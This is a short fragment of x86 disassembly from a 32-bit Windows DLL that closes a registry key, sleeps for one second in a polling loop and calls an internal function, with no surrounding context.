call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
cmp edi, ebx
jne 0x10004c95
xor edi, edi
inc edi
jmp 0x10004c97
xor edi, edi
push 0x3e8
call dword [sym.imp.KERNEL32.dll_Sleep]
cmp edi, 1
je 0x10004b3b
lea eax, [esp + 0x3ec]
push eax
call fcn.10002388
pop ecx
jmp 0x10004b3b